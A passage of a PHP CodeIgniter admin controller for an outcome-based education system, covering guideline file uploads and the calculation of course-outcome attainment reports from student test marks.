            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(10)->result();
            $this->load->view("admin/OBES/criteria10", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile10() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion10();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion10();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion10");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion10");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls, *.xlsx, *.txt,*.csv.");
                    redirect("admin/OBES/criterion10");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handler For CO-Attainment Report */

    public function coAttainmentReport() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $co_marks = 3;
            $selectedSession = "";
            $selectedSubject = "";
            $selectedTest = "";
            $reqCourse = "";
            $filteredRecords = array();
            $sumOfObtainedMarkOfAQuestion = 0;
            $sumOfMaximumMarksOfAQuestion = 0;
            $coAttainementDetailArray = array();
            $coAttainementPercentage = 0;
            $coQuestions = array();
            $coDetails = array();
            $coCOlumnWiseAllCoAttainmentValue = array();
            $attendance = "";
            $studentCountWhoseMarksIsNotFeeded = 0;
            $absentStudentCount = 0;
            $studentAllotedToSubject = 0;
            if (isset($_POST['filterSubmitBtn'])) {
                $reqCourse = $this->input->post('stuCourse');
                if ($reqCourse == "") {
                    $this->session->set_flashdata('errorMessage', "Please Select Course To Search Students.");
                } else {
                    $selectedSession = $this->input->post('stuSession');
                    $selectedSubject = $this->input->post('subject');
                    $selectedTest = $this->input->post('test');
                    $studentAllotedToSubject = $this->StudentManagement->getAllStudentAllotedToSubjectBy($selectedSubject, $selectedSession)->result();
                    if (sizeof($studentAllotedToSubject)) {
                        if ($selectedTest == "All") {
                            $courseOutcomes = $this->OBESManagement->getAllActiveNonDeletedCourseOutcomesBy($selectedSubject)->result();
                            if (sizeof($courseOutcomes)) {
                                for ($stu = 0; $stu < sizeof($studentAllotedToSubject); $stu++) {
                                    $coAttainementDetailArray = array();
                                    $attendance = "";
                                    $studentCountWhoseMarksIsNotFeeded = 0;
                                    for ($co = 0; $co < sizeof($courseOutcomes); $co++) {
                                        $sumOfObtainedMarkOfAQuestion = 0;
                                        $sumOfMaximumMarksOfAQuestion = 0;
                                        $coAttainementPercentage = 0;
                                        $allTestMarksOfStudentFOrCoAttainmentReport = $this->OBESManagement->getStudentAllTestMarksForCOAttainmentReport($studentAllotedToSubject[$stu]->tspi_id, $selectedSession, $courseOutcomes[$co]->co_id)->result();
                                        if (sizeof($allTestMarksOfStudentFOrCoAttainmentReport)) {
                                            for ($mark = 0; $mark < sizeof($allTestMarksOfStudentFOrCoAttainmentReport); $mark++) {
                                                $sumOfObtainedMarkOfAQuestion = $sumOfObtainedMarkOfAQuestion + $allTestMarksOfStudentFOrCoAttainmentReport[$mark]->stm_obt_marks;
                                                if ($allTestMarksOfStudentFOrCoAttainmentReport[$mark]->stm_flag == 'P') {
                                                    $sumOfMaximumMarksOfAQuestion = $sumOfMaximumMarksOfAQuestion + $allTestMarksOfStudentFOrCoAttainmentReport[$mark]->qno_marks;
                                                }
                                            }
                                        } else {
                                            $studentCountWhoseMarksIsNotFeeded++;
                                        }
                                        $coAttainementPercentage = ($sumOfMaximumMarksOfAQuestion == 0) ? 0 : ceil(($sumOfObtainedMarkOfAQuestion / $sumOfMaximumMarksOfAQuestion) * 100);
                                        array_push($coAttainementDetailArray, array(
                                            'attendance' => $attendance,
                                            'percentage' => $coAttainementPercentage,
                                            'coAttainmentAsPerCoMarks' => ((($coAttainementPercentage) * $co_marks) / 100),
                                            'co_marks' => $co_marks
                                        ));
                                    }
                                    array_push($filteredRecords, array(
                                        'tspi_rollNumber' => $studentAllotedToSubject[$stu]->tspi_rollNumber,
                                        'tspi_name' => $studentAllotedToSubject[$stu]->tspi_name,
                                        'tspi_id' => $studentAllotedToSubject[$stu]->tspi_id,
                                        'coArray' => $coAttainementDetailArray,
                                        'total_student' => sizeof($studentAllotedToSubject),
                                    ));
                                }
                                for ($co = 0; $co < sizeof($courseOutcomes); $co++) {
                                    $questionMappedToCourseOutcome = $this->OBESManagement->getCOQuestionsBy($courseOutcomes[$co]->co_id)->result();
                                    $coQuestions = array();
                                    if (sizeof($questionMappedToCourseOutcome)) {

                                        for ($mark = 0; $mark < sizeof($questionMappedToCourseOutcome); $mark++) {
                                            array_push($coQuestions, $courseOutcomes[$co]->co_name . "_Q" . $questionMappedToCourseOutcome[$mark]->qno_name);
                                        }
                                    } else {
                                        
                                    }
                                    array_push($coDetails, array(
                                        'co_name' => $courseOutcomes[$co]->co_name,
                                        'questions' => $coQuestions,
                                    ));
                                }
                                $colSum = 0;
                                for ($co = 0; $co < sizeof($courseOutcomes); $co++) {
                                    for ($stu = 0; $stu < sizeof($filteredRecords); $stu++) {
                                        $colSum = $colSum + $filteredRecords[$stu]["coArray"][$co]["percentage"];
                                    }
                                    array_push($coCOlumnWiseAllCoAttainmentValue, (((sizeof($filteredRecords)) == 0) ? 0 : (($colSum / (sizeof($filteredRecords)))) * $co_marks) / 100);
                                    $colSum = 0;
                                }
                            } else {
                                $this->session->set_flashdata("erorMessage", "No Course Outcome List Found For Selected Subject.");
                                redirect(current_url());
                            }
                        } else {
                            $courseOutcomes = $this->OBESManagement->getAllActiveNonDeletedCourseOutcomesBy($selectedSubject)->result();
                            if (sizeof($courseOutcomes)) {
                                for ($stu = 0; $stu < sizeof($studentAllotedToSubject); $stu++) {
                                    $nonFeededMarksStudentCount = $this->OBESManagement->getStudentTestMarksForCOAttainmentReport($studentAllotedToSubject[$stu]->tspi_id, $selectedSession, $selectedTest)->result();
                                    if (!sizeof($nonFeededMarksStudentCount)) {
                                        $studentCountWhoseMarksIsNotFeeded++;
                                    } else {
                                        if ($nonFeededMarksStudentCount[0]->stm_flag == 'A') {
                                            $absentStudentCount++;
                                        }
                                    }
                                    $coAttainementDetailArray = array();
                                    $attendance = "";
                                    for ($co = 0; $co < sizeof($courseOutcomes); $co++) {
                                        $sumOfObtainedMarkOfAQuestion = 0;
                                        $sumOfMaximumMarksOfAQuestion = 0;
                                        $coAttainementPercentage = 0;
                                        $questionMappedToCourseOutcome = $this->OBESManagement->getCOQuestionsBy($courseOutcomes[$co]->co_id, $selectedTest)->result();
                                        if (sizeof($questionMappedToCourseOutcome)) {
                                            $coQuestions = array();
                                            for ($mark = 0; $mark < sizeof($questionMappedToCourseOutcome); $mark++) {
                                                $obtainedMarksByStudentQuestionWise = $this->OBESManagement->getStudentTestMarksForCOAttainmentReport($studentAllotedToSubject[$stu]->tspi_id, $selectedSession, $selectedTest, $questionMappedToCourseOutcome[$mark]->qno_id)->result();
                                                if (sizeof($obtainedMarksByStudentQuestionWise)) {
                                                    $sumOfObtainedMarkOfAQuestion = $sumOfObtainedMarkOfAQuestion + $obtainedMarksByStudentQuestionWise[0]->stm_obt_marks;
                                                    $sumOfMaximumMarksOfAQuestion = $sumOfMaximumMarksOfAQuestion + $obtainedMarksByStudentQuestionWise[0]->qno_marks;
                                                    $attendance = $obtainedMarksByStudentQuestionWise[0]->stm_flag;
                                                } else {
                                                    $sumOfObtainedMarkOfAQuestion = $sumOfObtainedMarkOfAQuestion + 0;
                                                    $sumOfMaximumMarksOfAQuestion = $sumOfMaximumMarksOfAQuestion + 0;
                                                }
                                            }
                                            $coAttainementPercentage = ($sumOfMaximumMarksOfAQuestion == 0) ? 0 : round(($sumOfObtainedMarkOfAQuestion / $sumOfMaximumMarksOfAQuestion) * 100, 2);
                                        } else {
                                            
                                        }
                                        array_push($coAttainementDetailArray, array(
                                            'attendance' => $attendance,
                                            'percentage' => $coAttainementPercentage,
                                            'coAttainmentAsPerCoMarks' => round((($coAttainementPercentage) * $co_marks) / 100, 2),
                                            'co_marks' => $co_marks
                                        ));
                                    }
                                    array_push($filteredRecords, array(
                                        'tspi_rollNumber' => $studentAllotedToSubject[$stu]->tspi_rollNumber,
                                        'tspi_name' => $studentAllotedToSubject[$stu]->tspi_name,
                                        'tspi_id' => $studentAllotedToSubject[$stu]->tspi_id,
                                        'coArray' => $coAttainementDetailArray,
                                        'total_student' => sizeof($studentAllotedToSubject),
                                    ));
                                }
                                for ($co = 0; $co < sizeof($courseOutcomes); $co++) {
                                    $questionMappedToCourseOutcome = $this->OBESManagement->getCOQuestionsBy($courseOutcomes[$co]->co_id, $selectedTest)->result();
                                    $coQuestions = array();
                                    if (sizeof($questionMappedToCourseOutcome)) {
                                        for ($mark = 0; $mark < sizeof($questionMappedToCourseOutcome); $mark++) {
                                            array_push($coQuestions, "Q" . $questionMappedToCourseOutcome[$mark]->qno_name);
                                        }
                                    } else {
                                        
                                    }
                                    array_push($coDetails, array(
                                        'co_name' => $courseOutcomes[$co]->co_name,
                                        'questions' => $coQuestions,
                                    ));
                                }
                                $colSum = 0;
                                for ($co = 0; $co < sizeof($courseOutcomes); $co++) {
                                    for ($stu = 0; $stu < sizeof($filteredRecords); $stu++) {
                                        if ($filteredRecords[$stu]["coArray"][$co]["attendance"] == "P") {
                                            $colSum = $colSum + $filteredRecords[$stu]["coArray"][$co]["coAttainmentAsPerCoMarks"];
                                        }
                                    }
                                    array_push($coCOlumnWiseAllCoAttainmentValue, ( (sizeof($filteredRecords) - ($studentCountWhoseMarksIsNotFeeded + $absentStudentCount)) == 0) ? 0 : round($colSum / (sizeof($filteredRecords) - ($studentCountWhoseMarksIsNotFeeded + $absentStudentCount)), 2));
                                    $colSum = 0;
                                }
                            } else {
                                $this->session->set_flashdata("erorMessage", "No Course Outcome List Found For Selected Subject.");
                                redirect(current_url());
                            }
                        }
                    } else {
                        $this->session->set_flashdata("erorMessage", "No Student Data Found For Selected Subject In Selected Session.");
                        redirect(current_url());
                    }
                }
            } else {
                $filteredRecords = array();
            }
            $viewData['branches'] = $this->BranchManagement->getAllNonDeletedActiveBrances()->result();
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['selectedCourse'] = $reqCourse;
            $viewData['selectedSession'] = $selectedSession;
            $viewData['selectedSubject'] = $selectedSubject;
            $viewData['selectedTest'] = $selectedTest;
            $viewData['filteredRecords'] = $filteredRecords;
            $viewData['coDetails'] = $coDetails;
            $viewData["coCOlumnWiseAllCoAttainmentValue"] = $coCOlumnWiseAllCoAttainmentValue;
            if ($studentCountWhoseMarksIsNotFeeded == sizeof($studentAllotedToSubject)) {
                $viewData['filteredRecords'] = array();
                $this->session->set_flashdata("errorMessage", "Student's Marks Are Not Updated By Teacher For the Selected Assessment.");
            }
            $this->load->view('admin/OBES/coAttainmentReport', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function courseCreditReport() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['allSubjects'] = array();
            if (isset($_POST["filterTestBtn"])) {
                $courseSelection = $this->input->post('subjectCourse');
                $viewData['allSubjects'] = $this->SubjectManagement->getNonDeletedActiveSubjectsByMltipleCourse($courseSelection)->result();
            }
            $this->load->view('admin/obes/courseCreditReport', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function co_poMappingReport() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["copoMappings"] = $this->OBESManagement->getAllCOPOMappings()->result();
            $viewData["allco"] = $this->OBESManagement->getAllCourseOutcomesInCoPoMapping()->result();
            $this->load->view("admin/obes/co_poMappingReport", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function coDirectInternalAttainmentReport() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $co_marks = 3;
            $selectedSession = "";
            $selectedSubject = "";
            $filteredRecords = array();
            $assessmentArray = array();
            $filteredRow = array();
            $coArray = array();
            $rowSum = 0;
            $rowSumusingWeightage = 0;
            if (isset($_POST['filterSubmitBtn'])) {
                $selectedSession = $this->input->post('stuSession');
                $selectedSubject = $this->input->post('subject');
                $assessmentArray = $this->OBESManagement->getNonDeletedActiveTestsBySubject($selectedSubject)->result();
                $coArray = $this->OBESManagement->getCourseOutcomeByNameAndSubject('', $selectedSubject)->result();
                if (sizeof($coArray)) {
                    if (sizeof($assessmentArray)) {
                        for ($co = 0; $co < sizeof($coArray); $co++) {
                            $co_id = $coArray[$co]->co_id;
                            $filteredRow = array();
                            $rowSum = 0;
                            $weightage = 0;
                            $rowSumusingWeightage = 0;
                            for ($assess = 0; $assess < sizeof($assessmentArray); $assess++) {
                                $assessment_id = $assessmentArray[$assess]->test_id;
                                $weightage = $assessmentArray[$assess]->test_weightage;
                                $sumOfObtainedMarksOfAllStudentsForCOInTest = $this->OBESManagement->getSumOfTestMarksOfAllStudentInCOForSubject($selectedSubject, $co_id, $assessment_id, $selectedSession)->result()[0]->total_obtained_marks_for_co;
                                $sumOfMaximumMarksOfAllStudentsPresentForCOInTest = $this->OBESManagement->getSumOfTestMaximumMarksOfAllStudentPresentInCOForSubject($selectedSubject, $co_id, $assessment_id, $selectedSession)->result()[0]->total_maximum_marks_for_co;
                                $percentage = ($sumOfMaximumMarksOfAllStudentsPresentForCOInTest != 0 ) ? (($sumOfObtainedMarksOfAllStudentsForCOInTest / $sumOfMaximumMarksOfAllStudentsPresentForCOInTest) * 100) : 0;
                                $rowSum = $rowSum + round((($percentage * $co_marks) / 100), 2);
                                $rowSumusingWeightage = $rowSumusingWeightage + round(($weightage / 100) * (($percentage * $co_marks) / 100), 2);
                                array_push($filteredRow, array(
                                    'totalSumOFObtainedMarks' => $sumOfObtainedMarksOfAllStudentsForCOInTest,
                                    'totalSumOfMaximumMarks' => $sumOfMaximumMarksOfAllStudentsPresentForCOInTest,
                                    'percentage' => round($percentage, 2),
                                    'coAttainment' => round((($percentage * $co_marks) / 100), 2)
                                ));
                                $sumOfObtainedMarksOfAllStudentsForCOInTest = 0;
                                $sumOfMaximumMarksOfAllStudentsPresentForCOInTest = 0;
                            }
                            array_push($filteredRecords, array(
                                'co_name' => $coArray[$co]->co_name,
                                'co_description' => $coArray[$co]->co_description,
                                'coAttainementTestWiseArray' => $filteredRow,
                                'coAverage' => (round($rowSum / sizeof($assessmentArray), 2)),
                                'percentage' => round(($rowSum / sizeof($assessmentArray) / 3) * 100, 2),
                                'coAverageUsingWeightage' => (round($rowSumusingWeightage, 2)),
                                'percentageUsingWeightage' => round(($rowSumusingWeightage / $co_marks) * 100, 2)
                            ));
                        }
                    } else {
                        $this->session->set_flashdata("errorMessage", "NO Assessmnent Found Under Selected Subject. Try Creating Assessment.");
                        redirect("admin/OBES/coDirectInternalAttainmentReport");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "NO Course Outcome Found Under Selected Subject. Try Creating Course Outcomes.");
                    redirect("admin/OBES/coDirectInternalAttainmentReport");
                }
            } else {
                $filteredRecords = array();
            }


            $viewData["coArray"] = $coArray;
            $viewData["assessmentArray"] = $assessmentArray;
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['selectedSession'] = $selectedSession;
            $viewData['selectedSubject'] = $selectedSubject;
            $viewData['filteredRecords'] = $filteredRecords;
            $this->load->view('admin/OBES/coDirectInternalAttainmentReport', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function coDirectInternalExternalAttainment() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $co_marks = 3;
            $selectedSession = "";
            $selectedSubject = "";
            $external = 0;
            $internal = 0;
            $filteredRecords = array();
            $assessmentArray = array();
            $semesterData = array();
            $filteredRow = array();
            $coArray = array();
            $coAttainmentArray = array();
            $rowSum = 0;
            $rowSumusingWeightage = 0;
            $colSum = 0;
            $overAllDirectCOAttainment = 0;
            $internalCOAttainmentAverage = 0;
            if (isset($_POST['filterSubmitBtn'])) {
                $selectedSession = $this->input->post('stuSession');
                $selectedSubject = $this->input->post('subject');
                $assessmentArray = $this->OBESManagement->getNonDeletedActiveTestsBySubject($selectedSubject)->result();
                $coArray = $this->OBESManagement->getCourseOutcomeByNameAndSubject('', $selectedSubject)->result();
                if (sizeof($coArray)) {
                    if (sizeof($assessmentArray)) {
                        for ($co = 0; $co < sizeof($coArray); $co++) {
                            $co_id = $coArray[$co]->co_id;
                            $filteredRow = array();
                            $rowSum = 0;
                            $weightage = 0;
                            $rowSumusingWeightage = 0;
                            for ($assess = 0; $assess < sizeof($assessmentArray); $assess++) {
                                $assessment_id = $assessmentArray[$assess]->test_id;
                                $weightage = $assessmentArray[$assess]->test_weightage;
                                $sumOfObtainedMarksOfAllStudentsForCOInTest = $this->OBESManagement->getSumOfTestMarksOfAllStudentInCOForSubject($selectedSubject, $co_id, $assessment_id, $selectedSession)->result()[0]->total_obtained_marks_for_co;
                                $sumOfMaximumMarksOfAllStudentsPresentForCOInTest = $this->OBESManagement->getSumOfTestMaximumMarksOfAllStudentPresentInCOForSubject($selectedSubject, $co_id, $assessment_id, $selectedSession)->result()[0]->total_maximum_marks_for_co;
                                $percentage = ($sumOfMaximumMarksOfAllStudentsPresentForCOInTest != 0 ) ? (($sumOfObtainedMarksOfAllStudentsForCOInTest / $sumOfMaximumMarksOfAllStudentsPresentForCOInTest) * 100) : 0;
                                $rowSum = $rowSum + round(($percentage * $co_marks) / 100, 2);
                                $rowSumusingWeightage = $rowSumusingWeightage + round(($weightage / 100) * (($percentage * $co_marks) / 100), 2);
                                array_push($filteredRow, array(
                                    'totalSumOFObtainedMarks' => $sumOfObtainedMarksOfAllStudentsForCOInTest,
                                    'totalSumOfMaximumMarks' => $sumOfMaximumMarksOfAllStudentsPresentForCOInTest,
                                    'percentage' => round($percentage, 2),
                                    'coAttainment' => round((($percentage * $co_marks) / 100), 2)
                                ));
                                $sumOfObtainedMarksOfAllStudentsForCOInTest = 0;
                                $sumOfMaximumMarksOfAllStudentsPresentForCOInTest = 0;
                            }
                            array_push($filteredRecords, array(
                                'co_name' => $coArray[$co]->co_name,
                                'co_description' => $coArray[$co]->co_description,
                                'coAttainementTestWiseArray' => $filteredRow,
                                'coAverage' => (round($rowSum / sizeof($assessmentArray), 2)),
                                'coAverageUsingWeightage' => (round($rowSumusingWeightage, 2)),
                                'percentage' => round(($rowSum / sizeof($assessmentArray) / $co_marks) * 100, 2),
                                'percentageUsingWeightage' => round(($rowSumusingWeightage / $co_marks) * 100, 2)
                            ));
                        }
                        /* Column Wise Sum Of CO's Attainment */
                        $colSum = 0;
                        if (sizeof($filteredRecords)) {
                            foreach ($filteredRecords as $fil) {
                                //$colSum = $colSum + $fil["coAverage"];
                                $colSum = $colSum + $fil["coAverageUsingWeightage"];
                            }
                        }
                        $internalCOAttainmentAverage = round(($colSum / sizeof($coArray)), 2);
                        /* Column Wise Sum Of CO's Attainment */
                        /* Semester Data Retrieval Logic */
                        $semesterData = $this->OBESManagement->getTotalAveragePercentageOfStudentsInASubject($selectedSubject)->result();
                        if (sizeof($semesterData)) {
                            $semesterData = array(
                                "externalPercentage" => round($semesterData[0]->percent, 2),
                                "externalCOAttainment" => round((($semesterData[0]->percent * $co_marks) / 100), 2)
                            );
                        } else {
                            $semesterData = array();
                        }
                        /* Semester Data Retrieval Logic */
                        /* CO Attainment Percentage for Internal And External */
                        $external = $this->OBESManagement->getExternalPercentageForCOAttainment($selectedSubject, "E")->result();
                        $internal = $this->OBESManagement->getExternalPercentageForCOAttainment($selectedSubject, "I")->result();
                        if (sizeof($internal) > 0 && sizeof($external) > 0) {
                            $overAllDirectCOAttainment = (($internal[0]->ocoalpie_percentage * $internalCOAttainmentAverage) / 100) + (($external[0]->ocoalpie_percentage * $semesterData["externalCOAttainment"]) / 100);
                        } else {
                            $overAllDirectCOAttainment = 0;
                        }
                        $coAttainmentArray = array(
                            'overAllDirectCOAttainment' => $overAllDirectCOAttainment,
                            'internalCOAttainmentAverage' => $internalCOAttainmentAverage
                        );
                        /* CO Attainment Percentage for Internal And External */
                    } else {
                        $this->session->set_flashdata("errorMessage", "NO Assessmnent Found Under Selected Subject. Try Creating Assessment.");
                        redirect("admin/OBES/coDirectInternalExternalAttainment");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "NO Course Outcome Found Under Selected Subject. Try Creating Course Outcomes.");
                    redirect("admin/OBES/coDirectInternalExternalAttainment");
                }
            } else {
                $filteredRecords = array();
            }
            $viewData["coArray"] = $coArray;
            $viewData["assessmentArray"] = $assessmentArray;
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['selectedSession'] = $selectedSession;
            $viewData['selectedSubject'] = $selectedSubject;
            $viewData['filteredRecords'] = $filteredRecords;
            $viewData['external'] = $external;
            $viewData['internal'] = $internal;
            $viewData["semesterData"] = $semesterData;
            $viewData["overAllDirectCOAttainment"] = $overAllDirectCOAttainment;
            $viewData["coAttainmentArray"] = $coAttainmentArray;
            $this->load->view('admin/OBES/coDirectInternalExternalAttainmentReport', $viewData);
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023